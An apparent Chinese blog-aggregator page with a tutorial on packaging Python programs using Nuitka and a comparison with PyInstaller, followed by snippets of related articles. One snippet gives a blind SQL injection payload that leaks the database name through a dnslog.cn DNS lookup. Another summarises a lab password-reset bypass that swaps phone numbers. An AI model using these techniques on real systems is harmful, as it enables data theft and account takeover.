python 打包可执行文件-Nuitka详解

news2024/12/26 21:39:50

python 打包可执行文件-Nuitka详解

  • 引言
  • 一、参数详解
  • 二、与pyinstaller对比
  • 三、打包总结

引言

Nuitka是用Python编写的优化Python编译器,它可以创建运行时不需要单独安装程序的可执行文件。简单易使用,与Python2(2.6、2.7)和Python3(3.3-3.10)完全兼容,适用于Windows、macOS、Linux等平台。

安装:pip install -U nuitka + 还需要C++的编译器,详情可以看文档的Requirements部分
官方文档:https://www.nuitka.net/doc/user-manual.html

  • 以python MP4视频转GIF动图这篇博客的程序为例,展示Nuitka的用法。并与pyinstaller进行对比。

一、参数详解

打包命令:nuitka xxx.py,其主要参数如下:

  • --help 查看所有参数。
  • --standalone 输出一个文件夹,包含可执行文件和依赖库,无需Pyhon环境即可运行。
  • --onefile 打包成一个文件,而不是一个文件夹。
  • --nofollow-imports 不编译任何导入的模块,覆盖所有其他包含选项,并且不适用于standalone模式。
  • --disable-console 禁用控制台窗口并创建GUI应用程序 (默认关闭)。
  • --output-filename=FILENAME 输出文件名称。
  • --enable-plugin=pyqt5 包含Qt插件,可使用--plugin-list 查询。
  • 查询所有插件nuitka --plugin-list
    在这里插入图片描述

进行使用,对main.py进行打包:

  • nuitka main.py,需要运行cmd脚本配置环境再打开exe文件
    在这里插入图片描述

  • nuitka --standalone --nofollow-imports --enable-plugin=pyqt5 main.py,不得不说,真的费CPU和时间,因为要先编译第三方库
    help显示 --standalone默认 “–follow-imports” and “–python-flag=no_site”,应该与–nofollow-imports (help也提示不适用于standalone模式)冲突,默认还是要编译所有库。

  • nuitka --onefile--nofollow-imports --enable-plugin=pyqt5 --output-filename=MP4_to_GIF main.py,也是默认编译所有库,但编译成的可执行文件确实小了。
    在这里插入图片描述

  • nuitka --onefile --nofollow-imports --disable-console --enable-plugin=pyqt5 --output-filename=MP4_to_GIF main.py
    在这里插入图片描述

二、与pyinstaller对比

参考我的博客:python 打包可执行文件-pyinstaller详解

  • 内存
    pyinstaller加了很多trick 85MBnuitka只有45MB,比pyinstaller小了一半。nuitka不用standalone 和 onefile还是很快的,也超级小,就是需要python环境。
  • 执行速度
    就可执行文件的打开速度,感觉不到有特别大的差距…,打包成单独一个可执行文件,都挺慢的。打包成文件夹,都挺快…
  • 打包速度
    pyinstaller打包速度会快很多。nuitka不用–standalone 或者 --onfile也很快,但感觉就像仅仅加了个脚本用来运行.py一样…

可能与程序大小有关,以上测试用的MP4_to_GIF只是个小程序、

也可参考:比较PyInstaller和Nuitka

三、打包总结

  1. 使用python写的小工具,我选择pyinstaller
  2. 大程序我选择c++

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067510.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

3d环形图开发(vue3+vite+ts)

开发效果&#xff08;待完善&#xff09;&#xff1a; 技术支持&#xff1a; Echarts echarts-gl 安装&#xff1a; 注&#xff1a;echarts与echarts-gl版本需对应&#xff0c;可参考官网 pnpm add echarts4.9.0 echarts-gl1.1.2 组件封装&#xff1a; <template><…

unity操作_Camera c#

观察场景中Main Camera 的清除背景Clear Flags 第一种&#xff1a;Skybox天空盒渲染 制作3D游戏使用 第二种&#xff1a;Solid Color 制作2D游戏 第三种&#xff1a;Depth only 多个摄像机叠加渲染 相对重点学会多个摄像机设置Depth only使…

鸿蒙手表开发之使用adb命令安装线上包

#国庆发生的那些事儿# 鸿蒙手表开发之使用adb命令安装线上包 前言&#xff1a; 由于之前的哥们匆忙离职了&#xff0c;所以鸿蒙手表项目的新版本我临时接过来打包发布&#xff0c;基本上之前没有啥鸿蒙经验&#xff0c;但是一直是做Android开发的&#xff0c;在工作人员的指…

【FPGA零基础学习之旅#14】串口发送字符串

&#x1f389;欢迎来到FPGA专栏~串口发送字符串 ☆* o(≧▽≦)o *☆嗨~我是小夏与酒&#x1f379; ✨博客主页&#xff1a;小夏与酒的博客 &#x1f388;该系列文章专栏&#xff1a;FPGA学习之旅 文章作者技术和水平有限&#xff0c;如果文中出现错误&#xff0c;希望大家能指正…

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上&#xff1a; 1、打开 http://www.dnslog.cn 获取域名 2、注入&#xff1a; ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显&#xff1a;

机器学习笔记 - 两个静态手势识别的简单示例

一、关于手势识别 手势识别方法通常分为两类:静态或动态。 静态手势是那些只需要在分类器的输入处处理单个图像的手势,这种方法的优点是计算成本较低。动态手势需要处理图像序列和更复杂的手势识别方法。 进一步了解可以参考下面链接。 静态手势识别和动态手势识别的区别和技…

jpype 调用jar时,返回结果的中文乱码

解决方法&#xff1a; 在启动java虚拟机的参数上&#xff0c;加上 "-Dfile.encodingUTF-8"

MongoDB集群管理

1、副本集-Replica Sets 1.1、简介 MongoDB中的副本集&#xff08;Replica Set&#xff09;是一组维护相同数据集的mongod服务。 副本集可提供冗余和高 可用性&#xff0c;是所有生产部署的基础。 也可以说&#xff0c;副本集类似于有自动故障恢复功能的主从集群。通俗的讲就…

项目管理中有效任务分配的简单指南

在项目管理中&#xff0c;有时会出现人力资源匮乏或负担过重的情况。因此&#xff0c;项目经理有责任确保在项目进度内&#xff0c;将任务于正确的时间分配给正确的人。 任务分配有哪些不容忽视的好处&#xff1f; 在专业项目管理工具的帮助下&#xff0c;正确地进行任务分配…

详解IDEA git 版本回滚

作者简介 目录 1.git分区 2.未commit&#xff0c;进行回滚 3.commit未push&#xff0c;进行回滚 3.1.undo commit 3.2.reset 4.已commit&push&#xff0c;进行回滚 1.git分区 git的版本回滚其实就是回滚不同的分区&#xff0c;所以在聊git回滚之前我们有必要简单了解…

ElasticSearch环境准备

Elasticsearch 是一个基于 Apache Lucene™ 的开源搜索引擎。不仅仅是一个全文搜索引擎&#xff0c;它还是一个分布式的搜索和分析引擎&#xff0c;可扩展并能够实时处理大数据。以下是关于 Elasticsearch 的一些主要特点和说明&#xff1a; 1.实时分析&#xff1a;Elasticsear…

文件格式转换

把我的悲惨故事说给大家乐呵乐呵&#xff1a;老板让运营把一些数据以json格式给我&#xff0c;当我看到运营在石墨文档上编辑的时候我人都傻了&#xff0c;我理解运营的艰难&#xff0c;可我也是真的难啊&#xff0c;在石墨文档编辑的眼花缭乱的&#xff0c;很多属性都错乱了(诸…

关于seata启动时连接数据库异常,Mysql版本8.0

异常报错&#xff1a; ERROR --- [ionPool-Create-1772825962] com.alibaba.druid.pool.DruidDataSource : create connection SQLException, url: jdbc:mysql://127.0.0.1:3306/seata?useUnicodetrue&rewriteBatchedStatementstrue, errorCode 0, state 08001 > com…

工信部教考中心:什么是《研发效能(DevOps)工程师》认证,拿到证书之后有什么作用!(上篇)丨IDCF

在计算机行业中&#xff0c;资质认证可以证明在该领域内的专业能力和知识水平。各种技术水平认证也是层出不穷&#xff0c;而考取具有公信力和权威性的认证是从业者的首选。同时&#xff0c;随着国内企业技术实力的提升和国家对于自主可控的重视程度不断提高&#xff0c;国产证…

最有趣的代码or最蠢的代码?

如何写漂亮的代码 “愚蠢的代码” 是一个主观的说法&#xff0c;因为代码的质量取决于许多因素&#xff0c;包括编写代码的人的经验、知识水平以及代码的上下文。但是&#xff0c;有一些常见的编程实践&#xff0c;如果被采用&#xff0c;可能会导致代码被认为是愚蠢的或低质量…

深入理解Docker:简化部署与管理的利器

文章目录 引言Docker简介Docker的背景和发展Docker的优势和特点 Docker的基本概念和架构镜像&#xff08;Image&#xff09;容器&#xff08;Container&#xff09;仓库&#xff08;Repository&#xff09;Docker架构 Docker的常用命令和操作Docker的安装和配置Docker镜像的管理…

墨者学院——登录密码重置漏洞分析溯源

先用17101304128的进行抓包 点击获取验证码 发现没有验证码&#xff0c;所以要用18868345809拿验证 抓包后&#xff0c;把17开头的电话号码改成了18开头的&#xff0c;然后获取验证码 然后用17开头的电话号码重置&#xff0c;用18开头的验证码 进行重置密码&#xff0c;拿到…

前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(七)放大镜实战

个人实战文档 本次实战是对自己整个api阶段的总结。 参考效果如下地址&#xff1a; http://erabbit.itheima.net/#/product/3995139 本次实战主要分为以下几个模块。 顶部导航模块 需求&#xff1a; 顶部导航开始不显示等页面滑到主导航栏&#xff0c;这个新顶部导航栏滑…

日志导致的io负载高和cpu飙升问题

1.问题 项目上线前需要对接口进行性能测试,发现有2个查询接口性能始终达不到上线要求 2.分析过程 取线程快照 打印线程堆栈日志: 通过上面发现54个线程处于 waiting on condition 状态,在等待写入磁盘日志,所以断定瓶颈在写入日志io这块所以将日志打印关闭,再部署一版试…

深度学习笔记之优化算法(三)动量法的简单认识

机器学习笔记之优化算法——动量法的简单认识 引言回顾&#xff1a;条件数与随机梯度下降的相应缺陷动量法简单认识动量法的算法过程描述附&#xff1a;动量法示例代码 引言 上一节介绍了随机梯度下降 ( Stochastic Gradient Descent,SGD ) (\text{Stochastic Gradient Descen…